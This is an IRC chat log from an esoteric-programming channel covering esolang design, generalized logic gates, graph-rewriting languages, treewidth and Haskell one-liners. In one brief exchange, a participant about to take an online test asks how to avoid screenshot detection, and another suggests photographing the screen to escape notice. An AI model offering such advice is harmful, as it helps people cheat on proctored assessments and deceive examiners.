everyone can have all they want, within reason 23:11:26 callforjudgement: What about people who want all of it? 23:11:40 <\oren\> and now I'll be accused of being a marxist instead of being accused of being an objectivist 23:12:00 What would be wrong with being a marxist? 23:12:06 shachaf: well if there are even two such people, it wouldn't work, therefore it's objectively an unreasonable request :-P 23:12:24 <\oren\> rdococ: nothing really... 23:12:28 rdococ: I wonder if \oren\ is American, marxists and objectivists are associated with different ends of the political spectrum there 23:12:30 * Zarutian notes that Karl Marx was a right-wing Socialist. 23:12:47 Are North Americans American? 23:12:56 Anyway, of course it's unreasonable. 23:13:14 -!- erkin has quit (Remote host closed the connection). 23:13:48 Zarutian: now that is kind of odd. 23:13:54 <\oren\> callforjudgement: I'm canadian. the context is that earlier in a discussion with rdococ, the idea that mandatory schooling is comparable to slavery came up and someone accused me of being a Ayn Rand zealot 23:14:29 <\oren\> I should find it in logs... 23:14:34 From communism's definition, you'd think it was more left-wing than right-wing. 23:14:48 (I know that, because I did think that.) 23:15:33 rdococ: not so much when you look into history in detail. And please note right-wing is meant in the royalists|elite|centralizationist sense. 23:15:43 Zarutian: ik 23:16:19 What we need is a left-winged version of communism. 23:17:07 rdococ: like its original? 23:17:21 Zarutian, depends what the original is, I guess. 23:17:32 rdococ: decentralized co-operatives without coercion. 23:17:48 Er... 23:18:01 k 23:19:25 The word itself sounds like it comes from - which wouldn't be a bad name for a left-wing ideology. 23:19:41 <\oren\> found it 23:19:43 <\oren\> 16:05:16 \oren\, fuck me are you an objectivist 23:19:54 <\oren\> 16:05:30 <\oren\> Phantom_Hoover: No, I'm a TROLL 23:20:01 <\oren\> lol 23:20:58 but then again communism got hi-jacked by persons like Lenin. Which is something of a problem that must be addressed. Basically how to defend against Cult Of Personality. 23:21:25 It still seems senseless that Marx was right-wing. 23:22:02 -!- DHeadshot has quit (Ping timeout: 252 seconds). 23:22:15 Zarutian: this appears to be a problem for all forms of government, and finding a fix to it (that doesn't cause even worse problems as a side effect) would be very helpful to humanity in the future, I suspect 23:22:24 What's wrong with Lenin? 23:23:17 It's hard to come up with an original -ism. 23:23:58 callforjudgement: well, something like psuedonymous liquid democracy where proposals can be submitted anonymously (yet still rate limited to prevent spamming) might be a tentative start. 23:26:14 callforjudgement: basically let ideas, proposals and such battle unaided. Techniques for filtering or being at least aware of biases might be learned from lesswrong or other places that have studied applied cogniative techniques. 23:26:39 the problem is, what if a proposal ends up being blasted over the media or something like that? 23:27:17 or is worded to look good on the surface, but doesn't work if you think about it more deeply 23:27:31 or benefits the majority of people at the expense of a minority 23:28:17 callforjudgement: this is why certain places of deep political discurse is not publically accessable or even known about. 23:28:57 callforjudgement: basically, Speak Easies but for this kind of stuff. 23:36:42 -!- orby has quit (Ping timeout: 260 seconds). 23:46:43 wisdom 23:46:46 tht//THT is short for tails-heads-tails, a possible outcome of flipping three coins. It's the opposite of HTH. 23:46:55 -!- hppavilion[1] has joined. 23:46:58 -!- boily has quit (Quit: VIEW CHICKEN). 23:47:14 Aww 23:47:16 Missed boily 23:47:28 ? HTH 23:47:29 hth ([ʰtʰh̩]) is help received from a hairy toe. It is not at all hambiguitous. 23:47:40 ? hthth 23:47:41 hthth? ¯\(°​_o)/¯ 23:47:43 I WON'T 23:47:51 >_M 23:47:52 <* 23:47:53 tmflry hth 23:47:54 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory 23:48:00 tomfoolery hth 23:48:01 hth means "hope that helps" 23:48:04 rdococ: ^ 23:48:08 ik what it means! 23:48:11 ugh 23:48:16 rdococ: OK. htha 23:48:19 god help me, give me a better idea for esostuff 23:48:40 I did have the idea of a sound chip that could only produce sine waves 23:48:57 maybe it could go with Teriyaki? 23:49:33 rdococ: I propose that chip or functionality to be named SINfull 23:49:42 whyzat? 23:50:01 Oh. 23:50:02 duh. 23:50:15 * rdococ has lost the plot today :P 23:50:45 of on an tangent, eh? Better square up then. 23:50:47 rdococ: Have you thought about making an esolang that could have real applications? One that takes the typical assumptions of mainstream programming languages and breaks them, creating a language with actual uses due to its eschewing of troublesome conformities? 23:51:46 I would love to be able to come up with an idea that could actually do that. 23:52:00 Zarutian: har har :P 23:52:23 I'm thinking about logic gates... I think a nice definition of the general concept is that a (g)logic gate is a function with a finite domain and codomain 23:52:42 that sounds about right 23:53:20 rdococ: I've spent years trying and haven't really succeeded (arguably because I'm aiming to find new models of programming, rather than merely make a practical esolang); but I keep trying, because I only really have to succeed once 23:53:30 Oh, hello ais523 23:54:08 The problem is, I have trouble coming up with new models of programming. 23:54:14 so does everyone 23:54:17 Ah. 23:54:23 it's not easy, or it'd be done more often 23:54:26 True. 23:55:34 "Declarative programming is when you say what you want, and imperative language is when you say how to get what you want." 23:56:09 What about when you say why you want it? 23:56:21 Nah. 23:56:27 That's dumb. 23:56:46 even dumb ideas lead to interesting languages sometimes 23:56:53 "why" information is mostly useful in optimizers 23:57:03 That is true. 23:57:07 so I wonder what a language which consisted entirely of optimizer hints would be like, with no actual code to be hinting on 23:57:59 Honestly, to me it just sounds like it would be a declarative language with strange syntax. 23:58:29 imagine the "how" or "what" was blank, and the "why" is "because I want to calculate the first ten digits of pi" or something. 23:58:59 nah, go up one level higher; the "why" is "because I'm implementing ISO standard xxxx" 23:59:37 I guess what you'd end up with would be a language that's based not around algorithms (imperative), nor around test cases (declarative), but around APIs 23:59:54 sorry if I'm not being very clear 2017-04-18: 00:00:30 So "because I want to make a game about a chicken"? 00:00:51 or am I misunderstanding it? 00:00:57 that could work too 00:01:09 actually implementing such a language would be hard 00:01:21 perhaps it'd work more like a library 00:01:34 I calculated that, if you're talking about the class of simple (id est no-carried-values) logic gates of the form I -> O, where I and O are sequences of nonzero natural numbers (I mean, they could be 0, but makes things kind of boring), there are product(I) * product(O)^len(I) possible logic gates (including degenerate cases) 00:01:34 it sounds like AGI to me 00:01:45 you specify that you want to make a game about chickens, and have to provide the details yourself, but you get a DSL with a game engine and some chicken-based primitives 00:01:58 [took me a while, because I had to go find the ∏ symbol and then decided not to use it) 00:02:03 ah 00:02:18 I think there are already languages which allow you to specify DSLs to program in 00:02:43 Whoops, started that parenthetical with a ‹[› and ended with a ‹)›. Let's just say that my statement was a half-open interval and leave it at that. 00:02:57 rdococ: yep, but normally you have to write them from scratch 00:03:03 some sort of DSL combinator seems potentially useful? 00:03:39 Hm... 00:03:45 So... 00:04:03 A standard programming language with libraries? 00:04:29 I guess that's the closest we have right now 00:04:39 but some way for the libraries to compose themselves into more useful forms would be nice 00:04:41 writing glue code sucks 00:04:53 True. 00:05:37 How about a language written in such a way that libraries written in that language are easily composable? 00:06:09 even in large library collections that you'd think would be integrated, like the Java API or Win32, the different parts tend to not work together well 00:06:13 I had the idea of a programming language in which subroutines could have 'synonyms', which would be alternate names for the function. 00:06:16 so designing a composable library system seems like it might be really useful 00:07:10 So, say, in terms of trigonometry, you could write asin(x), asine(x), arcsin(x) or arcsine(x) and get the same result. 00:08:00 This would allow for some other library requiring the trigonometry library would be able to use any trigonometry library that implemented synonyms. 00:08:57 rdococ: hmm, one thing I thought of was that the OO concept of interfaces should have a namespace for the individual functions 00:09:15 so that you can comply with two different interfaces even if they have a naming clash 00:09:17 Additionally, libraries in the code would be renameable. 00:09:43 I guess at a much higher level, some sort of type-based duck typing would be nice, though 00:10:02 functions could describe a list of properties they have, and then somehow we figure out if a type complies with an interface by inspecting them 00:10:54 callforjudgement: Do you have any ideas how I can calculate the number of non-degenerate (g)logic gates [see above] with a given... configuration? 00:11:18 hppavilion[1]: well, normally a logic gate is defined by its truth table 00:11:26 and truth tables tend to be fairly easy to enumerate 00:11:29 callforjudgement: Yeah, of course 00:11:52 Oh, found https://math.stackexchange.com/questions/281845/number-of-non-degenerate-boolean-functions#281855 which should be a pretty good starting point 00:12:33 Ah, there's some binomial coefficienting involved, at least in the boolean case 00:13:27 ...wait, I don't just want to know how many there are, I'll probably also want a way to decide whether a *given* gate is degenerate 00:13:40 hm. 00:13:54 the problem with a sound chip with no audio ram is that it'd just be the PC speaker. 00:14:05 right? 00:14:05 nah 00:14:07 I'm dumb 00:21:12 -!- oerjan has joined. 00:24:07 @messages-told 00:24:07 ais523 asked 6h 43m 19s ago: Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter 00:24:38 hmm, you already replied on Stack Exchange 00:24:46 oh you're there. 00:24:52 anyway, nvg is back up now. 00:25:27 nathan van goorn 00:27:17 callforjudgement: nvg is student run so when something like this happens during easter break, it can take a while to get fixed. 00:27:34 ah right 00:36:13 -!- Simm has quit (Ping timeout: 240 seconds). 00:37:48 fourier series requires the ability to produce an inverted sine wave for the symmetric triangle wave, yes? 00:38:25 or at least the ability to change the phase 00:40:22 in js, can you detect if i'm trying to take a screenshot of the page? 00:40:43 or maybe in flash 00:40:49 idk something that runs in a modern browser 00:40:57 why tho? 00:41:21 because i'm about to take a test and they're claiming that they can detect it 00:41:53 does your browser have dev. tools? 00:42:09 it's the latest chromium 00:42:36 maybe inspect the page? 00:42:51 oh 00:42:58 if it's in flash that won't work 00:43:04 -!- moonythedwarf has quit (Remote host closed the connection). 00:43:23 even if it's js, it's probably gonna be a minified unreadable blob 00:44:23 oh 00:44:25 Teriyaki has audio 00:44:26 :c 00:45:09 izabera: you might be able to detect the input that the user uses to take the screenshot, even if you can't detect the screenshot itself 00:45:27 there are web pages which can figure out that you're planning to close the tab by the way you move your mouse 00:46:23 even changing tab or window is forbidden 00:46:39 to bypass such restriction one must be a true hacker 00:46:51 or a laptop owner 00:47:08 I'd like to see an example... not a malicious one ofc 00:52:47 I suggest simply not trying to cheat 00:52:59 -!- Cale has quit (Ping timeout: 240 seconds). 00:53:13 I was invigilating an exam on computers a while back; we had a few technical measures to catch cheating, but mostly we enforced the rules via shoulder-surfing 00:59:34 that must be hard on the shoulders. 01:02:54 oerjan: whaaaat's happening? 01:04:13 callforjudgement: i'm on my bed at home and it's 2am 01:04:27 they'll have a hard time shoulder surfing 01:04:45 take a photo of the screen if you really want a screenshot 01:04:55 unless they've activated the webcam, that's going to be hard to detect 01:06:15 orby_: why would anything be happening? what do you know? you cannot prove i did anything! 01:06:18 -!- Cale has joined. 01:07:19 Hm. 01:07:43 > [x:[y]|x<-"hm....."|y<-"testing"] 01:07:45 ["ht","me",".s",".t",".i",".n",".g"] 01:07:52 fancy 01:09:28 > [x,y|x<-"hm....."|y<-"testing"] 01:09:30 :1:5: error: parse error on input ‘|’ 01:09:39 > [(x,y)|x<-"hm....."|y<-"testing"] 01:09:41 [('h','t'),('m','e'),('.','s'),('.','t'),('.','i'),('.','n'),('.','g')] 01:09:48 somehow that feels more elegant 01:10:54 Than what? 01:11:37 > over (partsOf (each.each)) reverse [(x,y)|x<-"hm....."|y<-"testing"] 01:11:39 [('g','.'),('n','.'),('i','.'),('t','.'),('s','.'),('e','m'),('t','h')] 01:12:03 shachaf: constructing 2-element lists 01:13:05 > over (partsOf (each.each)) reverse ("better","examples") 01:13:07 ("selpma","xeretteb") 01:15:11 I'm working on something 01:15:19 hm. 01:16:43 -!- Guest4945 has joined. 01:17:31 callforjudgement: I think it depends on what you want. 01:17:53 > transpose [[x,y]|x<-"hm....."|y<-"testing"] 01:17:55 ["hm.....","testing"] 01:18:01 > transpose ["hm.....","testing"] 01:18:03 ["ht","me",".s",".t",".i",".n",".g"] 01:18:21 i was just noticing someone on PPCG said lambdabot supported parallel list comprehensions, and wanted to check. 01:18:21 > transposeOf each ("hm.....","testing") 01:18:24 [('h','t'),('m','e'),('.','s'),('.','t'),('.','i'),('.','n'),('.','g')] 01:18:34 whoa, transposeOf each 01:18:35 p. fancy 01:19:38 :t transposeOf 01:19:40 LensLike ZipList s t [a] a -> s -> [t] 01:19:47 > transposeOf _1 ("hm.....","testing") 01:19:49 [('h',"testing"),('m',"testing"),('.',"testing"),('.',"testing"),('.',"testi... 01:21:21 oerjan: exactly 01:21:21 > transposeOf _1 ["hm.....","testing"] 01:21:23 error: 01:21:23 • Ambiguous type variable ‘t0’ arising from a use of ‘show_M435504326564... 01:21:23 prevents the constraint ‘(Show t0)’ from being solved. 01:21:32 > transposeOf each ["hm.....","testing"] 01:21:34 ["ht","me",".s",".t",".i",".n",".g"] 01:22:03 note that transposeOf each /= transpose hth 01:22:24 shocking 01:22:58 what would a programming language and / or OS based on the tenets of anarchism look like? 01:23:27 an OS is easier to imagine, as processes are kind of like citizens 01:23:40 a language would need to have no syntax rules, at least 01:23:42 all programs are valid 01:23:47 and may not always mean the same thing 01:23:55 presumably it would have a number of highly independent threads 01:24:07 yes, I like this, all programs are valid 01:24:56 I think there wouldn't be a clear seperation between the interpreter / compiler and the source 01:25:19 interpreters are authoritarian 01:25:42 the program should be able to alter the behavior of the interpreter 01:26:55 or to think of it another way, the program should have authority over how it is interpreted 01:28:49 Well, from the perspective the program shouldn't be interpreted at all, it should interpret itself. Though I have no idea what that means practically. 01:28:53 *that 01:31:30 [wiki] [[Khartridge]] N https://esolangs.org/w/index.php?oldid=51759 * Rdococ * (+1029) Esoteric physical media 01:32:13 -!- Guest4945 has quit (Quit: zzzzzzz). 01:33:39 hmmm 01:35:16 what if we used the metaphor of a program as an association of individuals and instructions as individuals 01:37:17 Well, from the perspective the program shouldn't be interpreted at all, it should interpret itself. Though I have no idea what that means practically. ← I tried to work it out once, it was one of the main themes of Feather 01:37:38 callforjudgement: oooh, that sounds like fun 01:38:18 it was less fun than it sounded :-( 01:38:27 I'm still pretty sure it can be made to work 01:38:29 but I couldn't manage it 01:39:28 neat, just read the page 01:40:52 maybe the tenets of anarchism can better be realised by applying them to the relationships between the instructions. example: flow control is authoritarian because it denies an instruction the right to execute 01:41:31 scoping also introduces heirarchy 01:41:38 one language idea I've had is a language which is likely to continue running fine after minor changes to the code 01:41:46 . o O ( did anybody take a look at the Khartridge article? ) 01:41:47 because all the instructions work independently of each otehr 01:42:04 actually 01:42:09 it would be better in a console I think 01:42:25 callforjudgement: I've thought about that before too, although in the slightly different form of programs that tend toward a solution and are tolerant of bugs and minor issues 01:42:34 rdococ: I did, neat idea :) 01:42:43 yay 01:42:53 rdococ: you might want to look into FPGA coprocessors 01:43:07 which might or might not be the next big thing 01:43:09 . o O ( so many things to look into ) 01:43:55 I was also working on a highly abstract language where real numbers would be represented by lazy infinite series 01:43:58 do you want to see that? 01:44:17 in an anarchistic programming model, I think there wouldn't be an instruction pointer at all, as it implies some centralized authority doling out execution cycles 01:44:27 rdococ: shoot a link 01:44:43 all instructions should execute simultaneously 01:44:45 link to the Khartridge or to my idea for a highly abstract language? 01:44:56 abstract language, already read khartridge 01:45:07 ah, I haven't made an article on it yet. 01:45:17 gotcha 01:45:19 Hm 01:45:28 callforjudgement: I *think* I found a recursive solution 01:45:30 -!- sleffy has quit (Ping timeout: 240 seconds). 01:45:50 (Something else cool about the Khartridge is that an ACE exploit lasts forever unless you let the battery run out.) 01:46:11 it's not even just ACE at that point 01:46:19 it's more arbitrary firmware reconfiguration 01:46:32 True. 01:46:45 hppavilion[1]: to the self interpretation idea? 01:46:55 orby_: Huh? No 01:47:06 oh, haha, too many ideas floating around 01:47:21 orby_: To counting the number of degenerate vs. non-degenerate (g)logic gates of a given configuration 01:47:41 people who want to design “extremely high level declarative languages” may want to look at https://www.microsoft.com/en-us/research/wp-content/uploads/2016/12/popl10_synthesis.pdf 01:47:45 I do not know what this is. What is (g)logic? 01:49:14 orby_: I had to invent half the words 01:49:30 hppavilion[1]: fun :) 01:50:04 orby_: Basically, I generalized the concept of "logic gate" to apply to any number of inputs and outputs of any number of options on each 01:50:06 * rdococ tries to DDG how large the ROM of Pokemon Red has 01:50:08 s/has/is 01:50:35 o-o 01:50:42 hppavilion[1]: I think they call those circuits ;) 01:50:47 orby_: So, like, something that takes two 2-option inputs and one 3-option input to give you a 7-option output is a (g)logic gate 01:50:59 orby_: Usually circuits are purely binary inputs and outputs 01:50:59 cool cool, I'm with you 01:51:12 I'm just teasing :) 01:51:19 apparently it's 224K 01:51:23 KB or Kb, idk 01:52:31 I'll get to work on the extremely abstract language, I guess. 01:52:38 (Specification of it, anyway.) 01:52:41 hppavilion[1]: is it not possible to reduce a (g)logic gate to an equivalent in traditional logic gates? 01:52:49 orby_: According to the math I've been working out, there are 13841287201 different gates of that class I (the [2:2,3 | 7] class); 237265 of them are degenerate forms and 13841049936 are nondegenerate 01:53:06 how do you define degenerate and nondegenerate? 01:53:32 orby_: The same way as in normal logic gates; a gate is degenerate if some of its inputs have no bearing on the result 01:53:48 got it. I was not familiar with that term. 01:54:38 orby_: So in a normal context, the dyadic/boolean gate (ab : 00 -> 1; 01 -> 0; 10 -> 1; 11 -> 0) is degenerate since it's just ~b with an extra input 01:54:47 (just in case you were missing something) 01:55:01 I'm with you, thanks for the example 01:55:05 yw 01:56:23 have you played with allowing the options to go to infinity? 01:56:44 I wonder if you get useful convergence in the behavior as the number of options gets big 01:57:02 a la fuzzy logic 01:58:35 I guess that's getting into functional analysis 01:59:48 well 01:59:53 hm 02:01:34 huh 02:01:35 odd 02:01:38 does anyone know if there are any languages on the wiki that don't use an instruction pointer (either 1D or 2D?) 02:01:47 µ appears like M in the wiki heading font 02:01:53 by which I mean, neither a 1d nor 2d instruction pointer 02:02:06 rdococ: that's a bummer 02:02:12 ikr 02:03:48 Wait 02:03:52 it's only capital µ 02:03:57 rdococ: use the {{lowercase}} template hth 02:04:02 ah 02:09:29 -!- Xx_Good_Boy_xX has joined. 02:09:52 [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51760&oldid=30191 * Oerjan * (+137) Add usage note 02:11:06 [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51761&oldid=51760 * Oerjan * (-1) rm newlines 02:11:44 hm perhaps that didn't matter. 02:12:09 -!- Xx_Good_Boy_xX has left. 02:12:36 [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51762&oldid=51761 * Oerjan * (-136) Testing 02:12:41 fyi https://en.wikipedia.org/wiki/Dataflow is one way to get around using an instruction pointer, didn't really think about it that way 02:12:50 oh it does, hmph 02:13:25 oerjan: ooh, I misread the domain name and thought that was an esolang 02:13:33 *orby_: 02:14:29 callforjudgement: gah, do you know how to put in a template so it doesn't add a newline? 02:14:55 oerjan: deleting the newlines around the itself works in some cases 02:15:00 maybe not all though? 02:16:08 i already tried that 02:16:21 although only the one _before_... 02:17:03 you might need to delete newlines after the too 02:17:26 i thought it did 02:17:49 [wiki] [[Template:Lowercase]] https://esolangs.org/w/index.php?diff=51763&oldid=51762 * Oerjan * (+136) Try again 02:18:01 oh now it worked. 02:18:07 callforjudgement: thanks 02:18:30 callforjudgement: no, not an esolang... yet! a better page for dataflow programming https://en.wikipedia.org/wiki/Dataflow_programming 02:18:39 Is there a mathematical algorithm to determine if two infinite series converge to the same value? 02:18:59 orby_: do you consider e.g. /// to have an instruction pointer? it always executes the first command, then deletes it from the program. 02:19:18 rdococ: I can't think of a reliable way apart from taking limits of each 02:19:34 asking whether they converge to /each other/ is probably more interesting, because it's more general 02:19:37 oerjan: hmm, I would say it is still sequential and thus more or less has an ip, even though there isn't flow control 02:19:57 callforjudgement: Perhaps? 02:20:01 what about But Is It Art? that's one of the least IPful languages I've written 02:20:23 callforjudgement: let me read that one again 02:21:48 ok, I remember it now. yeah, I'd say that's squarely outside of the realm of sequential languages 02:22:28 rdococ: given that it's undecidable whether an infinite series _converges_, it's also undecidable whether two converge to the same thing. (well, essentially.) 02:22:36 I really like this dataflow programming model for an anarchistic programming language as it models each command as a node in a graph, which seems more egalitarian to me than the traitional sequential model 02:23:34 oerjan, even through judicious application of algebra? 02:23:45 orby_: cellular automata would also count, no? 02:24:03 rdococ: certainly. 02:24:14 rdococ: although note that just because it's undecidable in general doesn't mean that it isn't often decidable in practice 02:24:26 ik 02:24:27 oerjan: yeah, cellular automata definitely count 02:24:35 "Where a linear program[clarification needed] can be imagined as a single worker moving between tasks (operations), a dataflow program is more like a series of workers on an assembly line, each doing a specific task whenever materials are available." 02:24:48 a good parallel (although not exactly the same) is that the majority of NP-complete problems tend to be fairly easy if given random problems 02:24:49 orby_: oh, also eodermdrome 02:24:49 man, if that doesn't sound like anarchism I don't know what does 02:24:54 and only become difficult when you compile into them 02:25:14 come to think of it, eodermdrome and BIIA? have quite a few similarities 02:25:46 oerjan: checking out eodermdrome now 02:26:15 orby: most cellular automata, term rewriting (lambda calculus) and graph rewriting languages (G-machine, eodermdrome), pretty much all of circuit theory 02:26:41 How about generalized continued fractions, oerjan? 02:27:06 hmm, eodermdrome is not exactly what I am looking for, as it does model the state as a graph, but the instructions are still executed sequentially 02:27:09 concurrent actor models, etc. 02:27:25 yeah, concurrent actor models are more along the lines of what I am think 02:27:30 *thinking 02:28:03 eodermdrome really doesn't depend much on evaluation order 02:28:13 nor does thue (where the evaluation order is nondeterministic) 02:28:57 orby_: the instructions aren't necessarily executed sequentially, although some implementations may choose to use the first matching one. 02:29:07 callforjudgement: when you say much, do you mean not at all, or only a little? I haven't read into enough detail to understand it 02:29:13 computational salmon migration models… 02:30:03 orby_: "If no command in the program has its prerequisites met, the program will exit; otherwise, an unspecified command whose prerequisites are met will be run (this means that an interpreter can always choose the first, or the last, or a random command, or use any other method to determine which command runs, if more than one can run)." 02:30:23 also, most eodermdrome programs are written in such a way that the order in which commands run isn't relevant at all 02:30:41 “most eodermdrome programs” 02:30:43 hmm, let me look at this again in more detail... that sounds closer to what I'm thinking than I thought on first glance 02:31:12 Jafet: :P 02:31:30 Jafet: you can understand hypothetically how a language works 02:31:34 even if nobody actually uses it 02:32:07 and it looks like it's used occasionally: https://codegolf.stackexchange.com/a/67507/62131 02:33:55 callforjudgement: Ahh, I have a clearer idea of how it works now. Yes, this is the spirit I'm looking for. Really cool idea, even if "is capable of executing a couple of commands per second" is a little prohibitive ;) 02:34:27 well, real eodermdrome programs are going to be deterministic or nearly so, if only because it's painful to design them in more interesting ways 02:34:40 Jafet: you get multithreading for free in this sort of design 02:35:10 only if the implementation supports it properly though 02:35:26 well I mean semantically 02:35:36 the compiler might or might not be able to optimize it, but probably not 02:35:36 "In terms of encoding, a dataflow program might be implemented as a hash table, with uniquely identified inputs as the keys, used to look up pointers to the instructions." 02:36:12 sounds pretty egalitarian to me :) 02:36:19 the obvious optimisation of checking the most recently changed part of the graph first would starve other “threads” without explicit synchronisation 02:36:39 callforjudgement: oh, eodermdrome is cool; have you read much on graph grammars? 02:36:56 alercah: no, but I assume they're inspired by the same basic idea 02:37:01 I've seen some eodermdrome-like constructions 02:37:07 but they normally rely on distinguished nodes 02:38:02 callforjudgement: my masters thesis did a bunch of work with hyperedge replacement grammars 02:38:22 although the modern formulation does not actually refer to hyperedges 02:38:31 callforjudgement: hm that stackexchange eodermdrome program is misunderstanding how the language works, it will print _many_ hello worlds. 02:39:14 oh, in that case it may be worth dropping a comment and asking the author to request it 02:39:16 or wait 02:39:23 *to correct it 02:39:37 it actually works, but it doesn't match al, it matches og 02:39:55 oh, because that's the only degree-1 node? 02:39:58 yeah 02:39:58 neat 02:40:50 callforjudgement: tl;dr, productions are of the form {label} -> hypergraph with an ordered tuple of distinguished nodes, called external nodes 02:41:07 how does a hypergraph differ from a graph? 02:41:15 an edge can connect to multiple nodes 02:41:22 *hyperedge 02:41:37 in this case, a hyperedge has an ordering of nodes as well 02:41:48 oerjan: do you want to drop a clarifying comment or shall I? 02:41:55 i'm writing it 02:41:59 OK 02:42:16 then if e is a hyperedge labeled A with k nodes, then you can use the production A -> H to replace e with H, identifying the neighbours of e with the external vertices of H in order 02:42:22 alercah: I assume it can connect to less than 2 nodes, too? 02:42:46 also that construction reminds me of a CFG 02:42:54 as opposed to Eodermdrome, which is definitely context-sensitive 02:43:13 callforjudgement: done 02:43:17 callforjudgement: yes 02:43:30 callforjudgement: it is equivalent to a CFG over a specific type of graph algebra, yes 02:44:12 well, to a particular kind of equation system; a CFG is such an equation system over a free monoid 02:46:17 callforjudgement: hmm I think eodermdrome suffers a restriction that HR also has, namely that any given program can only generate graphs of finite treewith 02:46:20 *treewidth 02:46:26 *bounded 02:46:56 how's treewidth defined? 02:47:47 https://en.wikipedia.org/wiki/Treewidth 02:49:23 the reason is that a command with k open vertices will create a graph where they form a cutset, so the treewidth of the result is max(tw(rest of graph), tw(replacement graph), k) 02:51:14 tw(replacement graph) and k are fixed by the rule, and tw(rest of graph) is bounded inductively 02:51:46 yep, I think that works 02:52:18 I don't find treewidth a very intuitive concept, but using the clique definition, I can see how a cutset would prevent a new clique forming 02:54:35 the way that I tend to think about it is "if you zoom out, how tree-like can you make it" 02:55:04 or I guess how far you need to zoom to get a tree 02:55:09 the treewidth bound should give a O(2^26 n) (or maybe n^2) algorithm to implement eodermdrome, but I never bothered to look into it 02:55:41 ^ yeah, the treewidth bound means that implementing it is fixed-parameter tractable 02:55:47 that's not the first time I've seen an "O"(2²⁶n) solution to something 02:55:47 which is actually quite interesting! 02:55:50 there's also a randomised colouring algorithm that should work in O(e^26 n) expected time or so 02:56:08 Jafet: that's just linear, no? 02:56:16 they're both linear 02:56:27 yeah 02:56:32 we need a notation that's like big-O notation but somehow conveys the approximate magnitude of the constant factor 02:56:37 that's why I put the O in quotes 02:56:47 it's fairly clear what it means, yet really hard to define 02:56:52 callforjudgement: that's what fixed-parameter complexity addresses 02:56:59 here k=26 is the fixed parameter 02:57:12 Jafet: right, I thought the definition would be along those lines 02:57:30 rdococ: You're the one who contemplated a BUT gate- p BUT q? 02:57:31 it's hard to imagine an eodermdrome interpreter that inherently cares about the number 26 02:57:37 (ntbcw a BUTT gate) 02:57:41 hppavilion[1]: TriINTERCAL has one of those 02:57:47 callforjudgement: Does it now? 02:57:54 How does it work, callforjudgement 02:57:54 yep 02:57:54 ? 02:58:01 callforjudgement: Good to know 02:58:21 Because I think that the dyadic/boolean gate 0010 is a good candidate for p BUT q 02:58:22 Jafet: err, not quite 02:58:23 rdococ: hppavilion[1]: http://c.intercal.org.uk/manual/qk5q4hrh.htm#TriINTERCAL 02:58:23 rdococ: ^ 02:58:31 more precisely, k is the size of the graph you are matchin 02:58:38 see the second bullet point 02:58:38 fixed-parameter tractability means that there is some variable parameter that you can fix that makes the problem tractable 02:58:52 it doesn't mean the problem is tractable in the general case 02:59:06 but if you limit to, say, input graphs of size k, then it might be tractable 02:59:10 (tractable = polytime) 03:00:17 -!- callforjudgement has quit. 03:06:40 ho hum 03:06:47 -!- orby_ has quit (Quit: Page closed). 03:07:10 -!- orby has joined. 03:07:15 I return! 03:07:33 I thought to myself, my the channel got suddenly quiet. Then I realised I had disconnected... 03:07:45 that would do it 03:09:11 lol 03:09:27 To be fair, nobody did talk while you were gone :P 03:09:40 shocking 03:09:51 I wonder how long I was disconnected 03:10:28 a minute or two 03:10:41 * oerjan doesn't have seconds in his client. 03:11:00 orby: 23 seconds 03:11:21 thank you 03:11:30 I need to get a real irc client for windows 03:11:38 lol 03:11:40 agred 03:11:52 orby: Exactly. My client has ρs precision. 03:12:03 that sounds lovely 03:12:15 It's so precise they needed to invent a new prefix for it, and they didn't have any latin letters left 03:12:28 orby: To be clear, that's a greek letter rho, not a p like 'pico' 03:12:50 why'd they make it look like pico then? 03:13:04 rdococ: Poor planning on SI's part. 03:13:17 that's interesting. what does the rho prefix stand for? 03:13:35 rather, what order of magnitude? 03:13:36 orby: ρ stands for ρho 03:13:53 orby: Oh, 10^-ε_0 03:14:14 I am not familiar with your notation 03:14:26 what is -epsilon_0? 03:14:41 orby: well, - is a minus sign 03:14:49 thanks :) 03:15:19 orby: ε_0 is an ordinal; see 03:15:42 Tasty ordinals 03:16:14 I get it! A joke! 03:16:33 is that the same quantity as 2^-ε_0? 03:16:42 rdococ: They've never been very good at abbreviations, given that they added the usually-impossible-to-type, sometimes-difficult-to-transmit, a-bit-weird-to-write, impossible-to-think-about-without-going-insane-from-knowledge-man-was-not-meant-to-know μ as a frequently-needed prefix symbol. 03:17:08 Jafet: You would think so, but you'd be wrong, since this is base ω and that isn't a normal 10. 03:17:19 :P 03:17:28 Jafet: ...so... uh... yeah. 03:17:36 I guess that doesn't really change anything 03:17:38 I thought that 10 was the same in every base 03:17:55 -!- sleffy has joined. 03:18:16 Jafet: Nope. 03:18:46 Jafet: In German Military bases, for example, they call it "Zehn" 03:23:05 and not „Zehn“? 03:23:16 Jafet: Correct. 03:25:32 -!- jameseb has quit (Ping timeout: 255 seconds). 03:25:46 -!- sleffy has quit (Ping timeout: 240 seconds). 03:26:40 ? thought 03:26:41 ​. o O ( Why are they asking me for what a thought is? ) 03:26:50 slwd thought//s,for ,, 03:26:53 thought//. o O ( Why are they asking me what a thought is? ) 03:27:19 -!- Lord_of_Life has quit (Ping timeout: 240 seconds). 03:27:47 -!- sleffy has joined. 03:27:57 [wiki] [[CompressedFuck]] M https://esolangs.org/w/index.php?diff=51764&oldid=45695 * Fractalwizz * (+140) Added Interpreter Link 03:28:19 -!- zgrepc has quit (Ping timeout: 240 seconds). 03:32:21 -!- jameseb has joined. 03:33:15 -!- Lord_of_Life has joined. 03:34:13 -!- zgrepc has joined. 03:35:14 i see it is time to retire from HackEgo again. 03:36:46 -!- Zarutian has quit (Quit: Zarutian). 03:37:36 chatter29 was not doing again. 03:37:40 -!- augur has joined. 03:38:36 dowg fsm 03:38:45 10739:2017-04-16 revert \ 10738:2017-04-16 le//rn FSM//A flying spaghetti monster that always consume all of its "input" and outputs *something* \ 5949:2015-08-30 learn An FSM is a state machine with noodly appendages. 03:38:56 whew 03:39:03 int-e++ 03:42:20 [wiki] [[Eodermdrome]] https://esolangs.org/w/index.php?diff=51765&oldid=42057 * Jafetish * (+208) /* Implementation */ 03:43:05 -!- dingbat has joined. 03:43:41 Jafet: did you test the BCT interpreter twh 03:44:16 it's the 